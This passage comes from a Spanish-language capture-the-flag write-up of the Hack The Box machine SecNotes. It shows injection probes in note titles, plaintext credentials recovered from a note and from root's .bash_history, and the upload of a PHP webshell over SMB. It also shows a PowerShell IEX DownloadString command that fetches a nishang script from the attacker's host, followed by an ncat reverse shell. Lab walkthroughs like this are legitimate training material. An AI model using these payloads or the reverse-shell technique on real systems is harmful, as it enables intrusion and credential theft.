</span></span><span style="display:flex;"><span>    &lt;link rel=&#34;stylesheet&#34; href=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>        body{ font: 14px sans-serif; text-align: center; }
</span></span><span style="display:flex;"><span>                .accordion {
</span></span><span style="display:flex;"><span>                        background-color: #eee;
</span></span><span style="display:flex;"><span>                        color: #444;
</span></span><span style="display:flex;"><span>                        cursor: pointer;
</span></span><span style="display:flex;"><span>                        padding: 18px;
</span></span><span style="display:flex;"><span>                        width: 80%;
</span></span><span style="display:flex;"><span>                        border: none;
</span></span><span style="display:flex;"><span>                       text-align: left;
</span></span><span style="display:flex;"><span>                        outline: none;
</span></span><span style="display:flex;"><span>                        font-size: 15px;
</span></span><span style="display:flex;"><span>                        transition: 0.4s;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                .active, .accordion:hover {
</span></span><span style="display:flex;"><span>                        background-color: #ccc;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                .accordion:after {
</span></span><span style="display:flex;"><span>                        content: &#39;\002B&#39;;
</span></span><span style="display:flex;"><span>                        color: #777;
</span></span><span style="display:flex;"><span>                        font-weight: bold;
</span></span><span style="display:flex;"><span>                        float: right;
</span></span><span style="display:flex;"><span>                        margin-left: 5px;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                .active:after {
</span></span><span style="display:flex;"><span>                        content: &#34;\2212&#34;;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                .panel {
</span></span><span style="display:flex;"><span>                        padding: 0 18px;
</span></span><span style="display:flex;"><span>                        background-color: white;
</span></span><span style="display:flex;"><span>                        max-height: 0;
</span></span><span style="display:flex;"><span>                        overflow: hidden;
</span></span><span style="display:flex;"><span>                        transition: max-height 0.2s ease-out;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>    &lt;/style&gt;
</span></span><span style="display:flex;"><span>        &lt;script src=&#34;https://code.jquery.com/jquery-3.2.1.slim.min.js&#34; integrity=&#34;sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/Gp
</span></span><span style="display:flex;"><span>GFF93hXpG5KkN&#34; crossorigin=&#34;anonymous&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>        &lt;script src=&#34;https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js&#34; integrity=&#34;sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxh
</span></span><span style="display:flex;"><span>U9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q&#34; crossorigin=&#34;anonymous&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>        &lt;script src=&#34;https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js&#34; integrity=&#34;sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRR
</span></span><span style="display:flex;"><span>SQQxSfFWpi1MquVdAyjUar5+76PVCmYl&#34; crossorigin=&#34;anonymous&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>        &lt;div class=&#34;alert alert-warning&#34;&gt;
</span></span><span style="display:flex;"><span>          Due to GDPR, all users must delete any notes that contain Personally Identifable Information (PII)&lt;br/&gt;Please contact &lt;strong&gt;tyl$
</span></span><span style="display:flex;"><span>r@secnotes.htb&lt;/strong&gt; using the contact link below with any questions.        &lt;/div&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;page-header&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;h1&gt;Viewing Secure Notes for &lt;b&gt;miau&#39; or &#39;1&#39;=&#39;1&lt;/b&gt;&lt;/h1&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;div&gt;
</span></span><span style="display:flex;"><span>        &lt;button class=&#34;accordion&#34;&gt;&lt;strong&gt;Mimi&#39;s Sticky Buns&lt;/strong&gt;  &lt;small&gt;[2018-06-21 09:47:17]&lt;/small&gt;&lt;/button&gt;&lt;a href=https://www.xbyte.mx/home.php?actio$
</span></span><span style="display:flex;"><span>=delete&amp;id=2&#34; class=&#34;btn btn-danger&#34;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/a&gt;&lt;div class=&#34;panel center-block text-left&#34; style=&#34;width: 78%;&#34;&gt;&lt;pre&gt;Ingredients
</span></span><span style="display:flex;"><span>    For Dough
</span></span><span style="display:flex;"><span>        1 heaping Tbs. (1 pkg) dry yeast
</span></span><span style="display:flex;"><span>        1/4 c warm water
</span></span><span style="display:flex;"><span>        scant 3/4 c buttermilk
</span></span><span style="display:flex;"><span>        1 egg
</span></span><span style="display:flex;"><span>        3 c flour
</span></span><span style="display:flex;"><span>        1/4 shortening
</span></span><span style="display:flex;"><span>        1/4 c sugar
</span></span><span style="display:flex;"><span>        1 tsp baking powder
</span></span><span style="display:flex;"><span>        1 tsp salt
</span></span><span style="display:flex;"><span>    For Filling
</span></span><span style="display:flex;"><span>        Butter
</span></span><span style="display:flex;"><span>        Cinnamon
</span></span><span style="display:flex;"><span>        1/4 c sugar
</span></span><span style="display:flex;"><span>    For Sauce
</span></span><span style="display:flex;"><span>        1/4 c butter
</span></span><span style="display:flex;"><span>        1/2 c brown sugar
</span></span><span style="display:flex;"><span>        2 Tbs maple syrup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Instructions
</span></span><span style="display:flex;"><span>        In 9&#34; sq pan, melt butter, and stir in brown sugar and syrup.
</span></span><span style="display:flex;"><span>        In a large mixing bowl dissolve yeast in warm water.
</span></span><span style="display:flex;"><span>        Add buttermilk, egg, half of the flour, shortening, sugar, baking powder, and salt.
</span></span><span style="display:flex;"><span>        Blend 1/2 min low speed, then 2 min med speed.
</span></span><span style="display:flex;"><span>        Stir in remaining flour and kneed 5 minutes.
</span></span><span style="display:flex;"><span>        Roll dough into rectangle about the size of a cookie sheet. Spread with butter, sprinkle with 1/4 c sugar and generously with cinnam
</span></span><span style="display:flex;"><span>on.
</span></span><span style="display:flex;"><span>        Roll up, and cut into 9 slices.
</span></span><span style="display:flex;"><span>        Place in 9&#34; pan in sauce.
</span></span><span style="display:flex;"><span>        Let rise until double in size, about 1-1.5 hours.
</span></span><span style="display:flex;"><span>        Bake 25-30 min at 375.&lt;/pre&gt;&lt;/div&gt;&lt;button class=&#34;accordion&#34;&gt;&lt;strong&gt;Years&lt;/strong&gt;  &lt;small&gt;[2018-06-21 09:47:54]&lt;/small&gt;&lt;/button&gt;&lt;a
</span></span><span style="display:flex;"><span>href=https://www.xbyte.mx/home.php?action=delete&amp;id=3&#34; class=&#34;btn btn-danger&#34;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/a&gt;&lt;div class=&#34;panel center-block text-left&#34; style=&#34;width: 78%;
</span></span><span style="display:flex;"><span>&#34;&gt;&lt;pre&gt;1957, 1982, 1993, 2005, 2009*, and 2017&lt;/pre&gt;&lt;/div&gt;&lt;button class=&#34;accordion&#34;&gt;&lt;strong&gt;new site &lt;/strong&gt;  &lt;small&gt;[2018-06-21 13:13:46]
</span></span><span style="display:flex;"><span>&lt;/small&gt;&lt;/button&gt;&lt;a href=https://www.xbyte.mx/home.php?action=delete&amp;id=4&#34; class=&#34;btn btn-danger&#34;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/a&gt;&lt;div class=&#34;panel center-block text-left
</span></span><span style="display:flex;"><span>&#34; style=&#34;width: 78%;&#34;&gt;&lt;pre&gt;\\secnotes.htb\new-site
</span></span><span style="display:flex;"><span>tyler / 92g!mA8BGjOirkL%OG*&amp;&lt;/pre&gt;&lt;/div&gt;&lt;button class=&#34;accordion&#34;&gt;&lt;strong&gt;--&#39;´;#&lt;/strong&gt;  &lt;small&gt;[2019-01-07 15:30:06]&lt;/small&gt;&lt;/button&gt;&lt;a h
</span></span><span style="display:flex;"><span>ref=/home.php?action=delete&amp;id=15&#34; class=&#34;btn btn-danger&#34;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/a&gt;&lt;div class=&#34;panel center-block text-left&#34; style=&#34;width: 78%;
</span></span><span style="display:flex;"><span>&#34;&gt;&lt;pre&gt;--&#39;´;#&lt;/pre&gt;&lt;/div&gt;&lt;button class=&#34;accordion&#34;&gt;&lt;strong&gt;&lt;?php system(&#39;id&#39;);?&gt;&lt;/strong&gt;  &lt;small&gt;[2019-01-07 15:48:51]&lt;/small&gt;&lt;/button&gt;&lt;a h
</span></span><span style="display:flex;"><span>ref=/home.php?action=delete&amp;id=17&#34; class=&#34;btn btn-danger&#34;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/a&gt;&lt;div class=&#34;panel center-block text-left&#34; style=&#34;width: 78%;
</span></span><span style="display:flex;"><span>&#34;&gt;&lt;pre&gt;&lt;?php system(&#39;id&#39;);?&gt;&lt;/pre&gt;&lt;/div&gt;&lt;button class=&#34;accordion&#34;&gt;&lt;strong&gt;alert&lt;/strong&gt;  &lt;small&gt;[2019-01-07 16:00:02]&lt;/small&gt;&lt;/button&gt;&lt;a hr
</span></span><span style="display:flex;"><span>ef=/home.php?action=delete&amp;id=18&#34; class=&#34;btn btn-danger&#34;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/a&gt;&lt;div class=&#34;panel center-block text-left&#34; style=&#34;width: 78%;&#34;
</span></span><span style="display:flex;"><span>&gt;&lt;pre&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/pre&gt;&lt;/div&gt;&lt;button class=&#34;accordion&#34;&gt;&lt;strong&gt;teste&lt;/strong&gt;  &lt;small&gt;[2019-01-07 16:06:04]&lt;/small&gt;&lt;/button&gt;&lt;a
</span></span><span style="display:flex;"><span> href=https://www.xbyte.mx/home.php?action=delete&amp;id=19&#34; class=&#34;btn btn-danger&#34;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/a&gt;&lt;div class=&#34;panel center-block text-left&#34; style=&#34;width: 78
</span></span><span style="display:flex;"><span>%;&#34;&gt;&lt;pre&gt;&#34;);&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;div class=&#34;btn-group&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;submit_note.php&#34; class=&#34;btn btn-lg btn-block btn-success&#34;&gt;New Note&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;change_pass.php&#34; class=&#34;btn btn-lg btn-block btn-warning&#34;&gt;Change Password&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;logout.php&#34; class=&#34;btn btn-lg btn-block btn-danger&#34;&gt;Sign Out&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;a href=&#34;contact.php&#34; class=&#34;btn btn-lg btn-block btn-info&#34;&gt;Contact Us&lt;/a&gt;
</span></span><span style="display:flex;"><span>        &lt;/div&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        &lt;script&gt;
</span></span><span style="display:flex;"><span>        var acc = document.getElementsByClassName(&#34;accordion&#34;);
</span></span><span style="display:flex;"><span>        var i;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        for (i = 0; i &lt; acc.length; i++) {
</span></span><span style="display:flex;"><span>          acc[i].addEventListener(&#34;click&#34;, function() {
</span></span><span style="display:flex;"><span>                this.classList.toggle(&#34;active&#34;);
</span></span><span style="display:flex;"><span>                var panel = this.nextElementSibling.nextElementSibling;
</span></span><span style="display:flex;"><span>                if (panel.style.maxHeight){
</span></span><span style="display:flex;"><span>                  panel.style.maxHeight = null;
</span></span><span style="display:flex;"><span>                } else {
</span></span><span style="display:flex;"><span>                  panel.style.maxHeight = panel.scrollHeight + &#34;px&#34;;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>          });
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        &lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Ahora si tenemos bastantes notas&hellip; inclusive una muy interesante:</p>
<blockquote>
<p>\\secnotes.htb\new-site</p>
</blockquote>
<blockquote>
<p>tyler / 92g!mA8BGjOirkL%OG*&amp;</p>
</blockquote>
<p>Perfecto las primeras credenciales!</p>
<h1 id="listing-smb-share">Listing smb share</h1>
<p>Ahora que tenemos al usuario tyler y una contraseña, probemos otro servicio que acepta usuarios y contraseñas&hellip; smb:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# smbclient -U tyler -c &#39;dir&#39; //10.10.10.97/new-site/ &#39;92g!mA8BGjOirkL%OG*&amp;&#39;
</span></span><span style="display:flex;"><span>  .                                   D        0  Mon Jan  7 17:18:24 2019
</span></span><span style="display:flex;"><span>  ..                                  D        0  Mon Jan  7 17:18:24 2019
</span></span><span style="display:flex;"><span>  iisstart.htm                        A      696  Thu Jun 21 10:26:03 2018
</span></span><span style="display:flex;"><span>  iisstart.png                        A    98757  Thu Jun 21 10:26:03 2018
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                12978687 blocks of size 4096. 8041186 blocks available
</span></span></code></pre></div><p>Excelente, pero tal parece que new-site lo hemos visto antes &hellip; parece una pagina por defecto de IIS&hellip; claro! el servicio tcp/8808 que descubrimos al inicio.</p>
<h1 id="uploading-a-reverse-shell-and-calling-back-home">Uploading a reverse shell and calling back home</h1>
<p>Para la reverse shell, subiré una phpshell de webfuzz, cmd.php, para agilidad y nada mas brincar.</p>
<p>Adicionalmente a esto, después de subirla vía smb, ejecutare un el script de nishang de reverse tcp shell por lo que inicie un servicio de http:</p>
<blockquote>
<p>python -m SimpleHTTPServer 4001</p>
</blockquote>
<p>Y también un ncat en el puerto 3001 para recibir la conexión:</p>
<blockquote>
<p>ncat -lvnp 3001</p>
</blockquote>
<p>Ahora si, llamemos a esa shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# smbclient -U tyler -c &#39;put 95456uyjdfg.php&#39; //10.10.10.97/new-site/ &#39;92g!mA8BGjOirkL%OG*&amp;&#39; &amp;&amp; http &#39;http://10.10.10.97:8808/95456uyjdfg.php?cmd=powershell.exe -nop -exec bypass -c &#34;IEX (New-Object Net.WebClient).DownloadString(\&#34;http://10.10.13.141:4001/s.ps1\&#34;)&#34;&#39;
</span></span><span style="display:flex;"><span>putting file 95456uyjdfg.php as \95456uyjdfg.php (0.2 kb/s) (average 0.2 kb/s)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>http: error: Request timed out (30s).
</span></span></code></pre></div><p>En la otra shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# ncat -lvnp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.97.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.97:58546.
</span></span><span style="display:flex;"><span>Windows PowerShell running as user SECNOTES$ on SECNOTES
</span></span><span style="display:flex;"><span>Copyright (C) 2015 Microsoft Corporation. All rights reserved.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS C:\inetpub\new-site&gt;ls
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory: C:\inetpub\new-site
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>d-----         1/7/2019   1:57 PM                Microsoft
</span></span><span style="display:flex;"><span>-a----         1/7/2019   2:12 PM            114 95456uyjdfg.php
</span></span><span style="display:flex;"><span>-a----        6/21/2018   8:26 AM            696 iisstart.htm
</span></span><span style="display:flex;"><span>-a----        6/21/2018   8:26 AM          98757 iisstart.png
</span></span><span style="display:flex;"><span>------       12/28/2018  11:26 AM          59392 nc.exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS C:\inetpub\new-site&gt; cd ..
</span></span><span style="display:flex;"><span>PS C:\inetpub&gt; cd ..
</span></span><span style="display:flex;"><span>PS C:\&gt; cd Users
</span></span><span style="display:flex;"><span>PS C:\Users&gt; ls
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory: C:\Users
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>d-----        6/22/2018   4:44 PM                Administrator
</span></span><span style="display:flex;"><span>d-----        6/21/2018   2:55 PM                DefaultAppPool
</span></span><span style="display:flex;"><span>d-----        6/21/2018   1:23 PM                new
</span></span><span style="display:flex;"><span>d-----        6/21/2018   3:00 PM                newsite
</span></span><span style="display:flex;"><span>d-r---        6/21/2018   2:12 PM                Public
</span></span><span style="display:flex;"><span>d-----        8/19/2018  10:54 AM                tyler
</span></span><span style="display:flex;"><span>d-----        6/21/2018   2:55 PM                wayne
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS C:\Users&gt; cd tyler
</span></span><span style="display:flex;"><span>PS C:\Users\tyler&gt; ls
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory: C:\Users\tyler
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                3D Objects
</span></span><span style="display:flex;"><span>d-----        8/19/2018  11:10 AM                cleanup
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Contacts
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Desktop
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Documents
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Downloads
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Favorites
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Links
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Music
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:10 PM                OneDrive
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Pictures
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Saved Games
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Searches
</span></span><span style="display:flex;"><span>d-----         1/7/2019   2:13 PM                secnotes_contacts
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   3:51 PM                Videos
</span></span><span style="display:flex;"><span>-a----        8/19/2018  10:49 AM              0 .php_history
</span></span><span style="display:flex;"><span>-a----        6/22/2018   4:29 AM              8 0
</span></span></code></pre></div><h1 id="cat-usertxt">cat user.txt</h1>
<p>En la carpeta Desktop de Tyler encontraremos la flag de user.txt</p>
<blockquote>
<p>PS C:\Users\tyler&gt; cat Desktop/user.txt</p>
</blockquote>
<h1 id="privesc">PrivEsc</h1>
<p>Ok, comencemos el camino hasta root.txt&hellip;</p>
<p>Vamos a <code>c:\</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>PS C:\&gt; ls
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory: C:\
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>d-----        6/21/2018   3:07 PM                Distros
</span></span><span style="display:flex;"><span>d-----        6/21/2018   6:47 PM                inetpub
</span></span><span style="display:flex;"><span>d-----        6/22/2018   2:09 PM                Microsoft
</span></span><span style="display:flex;"><span>d-----        4/11/2018   4:38 PM                PerfLogs
</span></span><span style="display:flex;"><span>d-----        6/21/2018   8:15 AM                php7
</span></span><span style="display:flex;"><span>d-r---        8/19/2018   2:56 PM                Program Files
</span></span><span style="display:flex;"><span>d-r---        6/21/2018   6:47 PM                Program Files (x86)
</span></span><span style="display:flex;"><span>d-r---        6/21/2018   3:00 PM                Users
</span></span><span style="display:flex;"><span>d-----        8/19/2018  11:15 AM                Windows
</span></span><span style="display:flex;"><span>-a----        6/21/2018   3:07 PM      201749452 Ubuntu.zip
</span></span></code></pre></div><p>Interesante, el archivo Ubuntu.zip y la carpeta &ldquo;Distros&rdquo;&hellip; Eso parece una referencia a WSL (Windows Subsystem for Linux), ya que en sus versiones mas modernas, después de instalar las herramientas base, te permite ajustar un entorno de una distribución mediante la tienda de Microsoft.</p>
<p>Tras probar que el binario de bash.exe si existe me aventure a ir a la carpeta /root directamente en busqueda de una flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>PS C:\Distros&gt; bash -c &#39;ls -lah /root&#39;
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwx------ 1 root root  512 Jun 22  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 1 root root  512 Jun 21  2018 ..
</span></span><span style="display:flex;"><span>---------- 1 root root  411 Jan  8 16:55 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root 3.1K Jun 22  2018 .bashrc
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
</span></span><span style="display:flex;"><span>drwxrwxrwx 1 root root  512 Jun 22  2018 filesystem
</span></span></code></pre></div><p>Desafortunadamente no encontre root.txt &hellip; y después de un buen rato tratando de investigar que hacer en este pot, intente leer el archivo .bash_history (si, aquel con esas propiedades extrañas de permisos que no tiene size 0!!!)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>PS C:\Distros&gt; bash -c &#39;cat /root/.bash_history&#39;
</span></span><span style="display:flex;"><span>cd /mnt/c/
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>cd Users/
</span></span><span style="display:flex;"><span>cd /
</span></span><span style="display:flex;"><span>cd ~
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>pwd
</span></span><span style="display:flex;"><span>mkdir filesystem
</span></span><span style="display:flex;"><span>mount //127.0.0.1/c$ filesystem/
</span></span><span style="display:flex;"><span>sudo apt install cifs-utils
</span></span><span style="display:flex;"><span>mount //127.0.0.1/c$ filesystem/
</span></span><span style="display:flex;"><span>mount //127.0.0.1/c$ filesystem/ -o user=administrator
</span></span><span style="display:flex;"><span>cat /proc/filesystems
</span></span><span style="display:flex;"><span>sudo modprobe cifs
</span></span><span style="display:flex;"><span>smbclient
</span></span><span style="display:flex;"><span>apt install smbclient
</span></span><span style="display:flex;"><span>smbclient
</span></span><span style="display:flex;"><span>smbclient -U &#39;administrator%u6!4ZwgwOM#^OBf#Nwnh&#39; \\\\127.0.0.1\\c$
</span></span><span style="display:flex;"><span>&gt; .bash_history
</span></span><span style="display:flex;"><span>less .bash_history
</span></span><span style="display:flex;"><span>exithistory
</span></span><span style="display:flex;"><span>exit
</span></span></code></pre></div><p>o/ hi administrator!</p>
<blockquote>
<p>administrator u6!4ZwgwOM#^OBf#Nwnh</p>
</blockquote>
<h1 id="smbclient-with-administrator-user">smbclient with Administrator user</h1>
<p>Ok, proveemos las credenciales que acabamos de encontrar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@kali:~/htb/secnotes# smbclient -U Administrator //10.10.10.97/c$/ &#39;u6!4ZwgwOM#^OBf#Nwnh&#39;
</span></span><span style="display:flex;"><span>Try &#34;help&#34; to get a list of possible commands.
</span></span><span style="display:flex;"><span>smb: \&gt; dir
</span></span><span style="display:flex;"><span>  $Recycle.Bin                      DHS        0  Thu Jun 21 17:24:29 2018
</span></span><span style="display:flex;"><span>  bootmgr                          AHSR   395268  Fri Jul 10 06:00:31 2015
</span></span><span style="display:flex;"><span>  BOOTNXT                           AHS        1  Fri Jul 10 06:00:31 2015
</span></span><span style="display:flex;"><span>  Distros                             D        0  Thu Jun 21 17:07:52 2018
</span></span><span style="display:flex;"><span>  Documents and Settings            DHS        0  Fri Jul 10 07:21:38 2015
</span></span><span style="display:flex;"><span>  inetpub                             D        0  Thu Jun 21 20:47:33 2018
</span></span><span style="display:flex;"><span>  Microsoft                           D        0  Fri Jun 22 16:09:10 2018
</span></span><span style="display:flex;"><span>  pagefile.sys                      AHS 738197504  Tue Jan  8 19:17:14 2019
</span></span><span style="display:flex;"><span>  PerfLogs                            D        0  Wed Apr 11 18:38:20 2018
</span></span><span style="display:flex;"><span>  php7                                D        0  Thu Jun 21 10:15:24 2018
</span></span><span style="display:flex;"><span>  Program Files                      DR        0  Sun Aug 19 16:56:49 2018
</span></span><span style="display:flex;"><span>  Program Files (x86)                DR        0  Thu Jun 21 20:47:33 2018
</span></span><span style="display:flex;"><span>  ProgramData                        DH        0  Sun Aug 19 16:56:49 2018
</span></span><span style="display:flex;"><span>  Recovery                          DHS        0  Thu Jun 21 16:52:17 2018
</span></span><span style="display:flex;"><span>  swapfile.sys                      AHS 268435456  Tue Jan  8 19:17:14 2019
</span></span><span style="display:flex;"><span>  System Volume Information         DHS        0  Thu Jun 21 16:53:13 2018
</span></span><span style="display:flex;"><span>  Ubuntu.zip                          A 201749452  Thu Jun 21 17:07:28 2018
</span></span><span style="display:flex;"><span>  Users                              DR        0  Thu Jun 21 17:00:39 2018
</span></span><span style="display:flex;"><span>  Windows                             D        0  Sun Aug 19 13:15:49 2018
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                12978687 blocks of size 4096. 7917784 blocks available
</span></span><span style="display:flex;"><span>smb: \&gt; cd Users/administrator
</span></span><span style="display:flex;"><span>smb: \Users\administrator\&gt; dir
</span></span><span style="display:flex;"><span>  .                                   D        0  Fri Jun 22 18:44:33 2018
</span></span><span style="display:flex;"><span>  ..                                  D        0  Fri Jun 22 18:44:33 2018
</span></span><span style="display:flex;"><span>  3D Objects                         DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  AppData                            DH        0  Thu Jun 21 19:49:45 2018
</span></span><span style="display:flex;"><span>  Application Data                  DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Contacts                           DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  Cookies                           DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Desktop                            DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  Documents                          DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  Downloads                          DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  Favorites                          DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  Links                              DR        0  Sun Aug 19 12:01:18 2018
</span></span><span style="display:flex;"><span>  Local Settings                    DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Music                              DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  My Documents                      DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  NetHood                           DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  NTUSER.DAT                         AH  1310720  Sun Aug 19 13:12:58 2018
</span></span><span style="display:flex;"><span>  ntuser.dat.LOG1                   AHS   147456  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  ntuser.dat.LOG2                   AHS        0  Thu Jun 21 19:49:32 2018
